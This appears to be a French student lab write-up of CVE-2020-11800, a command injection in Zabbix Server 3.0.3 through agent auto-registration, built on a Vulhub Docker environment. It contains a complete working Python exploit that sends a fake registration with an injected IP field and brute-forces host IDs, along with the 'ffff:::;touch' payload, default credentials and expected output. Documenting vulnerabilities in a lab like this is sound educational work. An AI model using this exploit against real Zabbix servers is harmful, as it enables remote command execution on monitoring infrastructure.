
Exploit PoC pour CVE-2020-11800, une injection de commande dans Zabbix Server via l'auto-enregistrement d'un agent malveillant, avec livraison de payload en Python et brute-force de l'ID de l'hôte.
Les sections requises par les directives de l'affectation sont marquées avec « (Required) ».
Cet environnement utilise un Dockerfile personnalisé basé sur l'image vulnérable du serveur Zabbix fournie par Vulhub.
FROM vulhub/zabbix:3.0.3-server
Le Dockerfile construit une image locale basée sur l'environnement vulnérable du serveur Zabbix 3.0.3. Aucun paquet ni configuration supplémentaire n'a été ajouté pendant le processus de construction.
L'environnement vulnérable est configuré à l'aide de Docker Compose.
L'environnement se compose de quatre services :
Le service server est construit localement à l'aide du Dockerfile :
server:
build: .
image: cve-2020-11800-server
Le conteneur MySQL importe automatiquement les fichiers d'initialisation SQL depuis le répertoire src/ à l'aide du montage de volume :
volumes:
- ./src/:/docker-entrypoint-initdb.d/
Cela permet au schéma de la base de données et aux données Zabbix initiales d'être chargés automatiquement au démarrage du conteneur.
L'environnement fonctionne selon la structure suivante :
[Browser]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
Fournit l'interface de gestion web accessible via le navigateur.
L'administrateur configure l'auto-enregistrement et exécute les opérations liées à la surveillance via cette interface.
Le composant central responsable de :
La vulnérabilité d'injection de commandes est déclenchée à l'intérieur de ce conteneur.
Agit en tant qu'hôte surveillé et communique avec le serveur Zabbix.
L'exploit abuse du mécanisme d'auto-enregistrement pendant le processus d'enregistrement de l'agent.
Stocke les données de configuration Zabbix, les informations sur les hôtes et les données liées à la surveillance.
| Service | Image | Version |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
L'environnement est basé sur l'environnement vulnérable Zabbix 3.0.3 fourni par Vulhub.
CVE-2020-11800 est une vulnérabilité d'injection de commandes dans la fonctionnalité Active Proxy Trapper du serveur Zabbix.
La vulnérabilité existe parce que le correctif de CVE-2017-2824 était incomplet. Un attaquant peut contourner le correctif d'origine à l'aide d'une charge utile de type IPv6 et exécuter des commandes arbitraires sur le serveur Zabbix.
La vulnérabilité est déclenchée pendant le processus d'auto-enregistrement lorsque le serveur traite des informations d'hôte contrôlées par l'utilisateur.
La cause racine de la vulnérabilité est le traitement non sécurisé d'entrées contrôlées par l'utilisateur dans les commandes shell.
Pendant l'exécution des scripts, le serveur Zabbix utilise la valeur IP de l'hôte enregistré pour construire des commandes telles que :
ping <host_ip>
Dans des conditions normales :
ping 127.0.0.1
Cependant, si un attaquant enregistre un hôte en utilisant la charge utile suivante :
ffff:::;touch /tmp/success2
la commande finale exécutée par le shell devient :
ping ffff:::;touch /tmp/success2
Parce que le point-virgule (;) agit comme un séparateur de commandes shell, le shell interprète l'entrée comme deux commandes distinctes :
ping ffff:::
touch /tmp/success2
Par conséquent, l'exécution de commandes arbitraires devient possible.
Le correctif d'origine de CVE-2017-2824 tentait de restreindre les valeurs d'entrée malveillantes.
Cependant, la logique de validation ne gérait pas correctement les entrées de type IPv6.
La charge utile :
ffff:::;touch /tmp/success2
utilise un préfixe de type IPv6 (ffff:::) pour contourner la logique de validation existante tout en injectant des métacaractères shell.
Cela permet aux attaquants de contourner le correctif précédent et de continuer à exploiter la vulnérabilité d'injection de commandes.
Le processus d'exploitation se déroule dans l'ordre suivant :
Attacker
↓
Fake Agent Registration
↓
Malicious IP Stored
↓
Zabbix Script Execution
↓
Shell Command Construction
↓
Command Injection
↓
Arbitrary Command Execution
L'attaquant envoie d'abord une demande d'auto-enregistrement malveillante contenant un champ IP spécialement conçu.
Après l'enregistrement de l'hôte, le serveur Zabbix exécute un script de surveillance en utilisant la valeur IP de l'hôte stockée.
Pendant ce processus, la charge utile malveillante est interprétée par le shell, ce qui conduit à l'exécution de commandes arbitraires.
L'exploit permet aux attaquants d'exécuter des commandes arbitraires avec les privilèges du processus du serveur Zabbix.
Dans cet environnement, une exploitation réussie a créé le fichier suivant dans le conteneur du serveur :
/tmp/success2
Cela confirme que les commandes shell injectées ont été exécutées avec succès.
Dans un environnement réel, une exploitation réussie pourrait permettre aux attaquants de :
La vulnérabilité est particulièrement dangereuse car les serveurs de surveillance ont souvent une visibilité sur plusieurs systèmes internes et composants d'infrastructure.
La preuve de concept (PoC) a été écrite en Python et communique directement avec le serveur Zabbix sur le port TCP 10051.
Le PoC effectue les actions suivantes :
hostid validesimport sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
La charge utile utilisée dans ce PoC est :
ffff:::;touch /tmp/success2
| Partie | Rôle |
|---|---|
ffff::: | Préfixe de type IPv6 utilisé pour contourner la validation |
; | Séparateur de commandes shell |
touch /tmp/success2 | Commande arbitraire exécutée sur le serveur |
La charge utile abuse du fait que le serveur concatène incorrectement les valeurs IP contrôlées par l'utilisateur dans les commandes shell.
La charge utile est délivrée via le champ ip pendant le processus d'auto-enregistrement.
La première demande envoyée par le PoC tente d'enregistrer un hôte malveillant.
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
Après l'enregistrement, le PoC tente de localiser un hostid valide.
for i in range(10000, 10500):
Le PoC parcourt une plage d'ID d'hôtes possibles et tente de déclencher l'exécution du script.
Cette étape est nécessaire car le serveur attribue dynamiquement les ID d'hôtes après l'enregistrement.
La demande suivante déclenche l'exécution de commandes :
{
"request": "command",
"scriptid": 1,
"hostid": str(i)
}
| Paramètre | Description |
|---|---|
request | Demande l'exécution du script |
scriptid | ID du script Zabbix configuré |
hostid | ID de l'hôte cible |
Dans cet environnement, scriptid:1 correspond à un script lié à ping qui utilise la valeur IP de l'hôte pendant l'exécution de la commande.
Le serveur Zabbix construit en interne une commande shell similaire à :
ping ffff:::;touch /tmp/success2
Le shell interprète cela comme :
ping ffff:::
touch /tmp/success2
Par conséquent :
touch injectée s'exécute avec succèsPendant une exploitation réussie, la sortie suivante peut apparaître :
ping: bad address 'ffff:::'
Cela indique que la charge utile a atteint l'étape d'exécution des commandes shell.
Une exploitation réussie est confirmée lorsque le fichier suivant existe dans le conteneur du serveur :
/tmp/success2
Le flux d'exploitation complet est résumé ci-dessous :
Start Docker Environment
↓
Access Zabbix Web Interface
↓
Enable Auto Registration
↓
Run exploit.py
↓
Register Malicious Host
↓
Trigger Script Execution
↓
Command Injection
↓
Verify /tmp/success2
Démarrez l'environnement vulnérable à l'aide de Docker Compose.
docker compose up -d
Vérifiez que tous les conteneurs fonctionnent correctement.
docker compose ps
L'environnement devrait inclure les conteneurs suivants :
Ouvrez le navigateur et accédez à l'interface web Zabbix.
http://127.0.0.1:8080
Identifiants par défaut :
Username: admin
Password: zabbix
L'exploit nécessite que la fonctionnalité d'auto-enregistrement soit activée.
Accédez à :
Configuration → Actions
Changez la source d'événements en :
Auto registration
Créez une nouvelle action et configurez l'opération suivante :
Operation Type: Add Host
Cela permet aux agents nouvellement enregistrés d'être automatiquement ajoutés au serveur.
Exécutez le script PoC.
python3 exploit.py 127.0.0.1
Le PoC envoie une demande d'auto-enregistrement malveillante et tente de déclencher l'exécution de commandes en utilisant plusieurs ID d'hôtes.
Pendant une exploitation réussie, une sortie similaire à la suivante peut apparaître :
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}
Cela indique que la charge utile a atteint le chemin d'exécution des commandes shell vulnérable.
Accédez au conteneur du serveur Zabbix.
docker exec -it cve-2020-11800-server-1 bash
Vérifiez si la commande injectée a créé le fichier cible.
ls -l /tmp/success2
Une exploitation réussie produit une sortie similaire à :
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2
Cela confirme que des commandes arbitraires ont été exécutées avec succès dans le conteneur du serveur Zabbix.
Les captures d'écran suivantes sont incluses dans le répertoire screenshots/ :

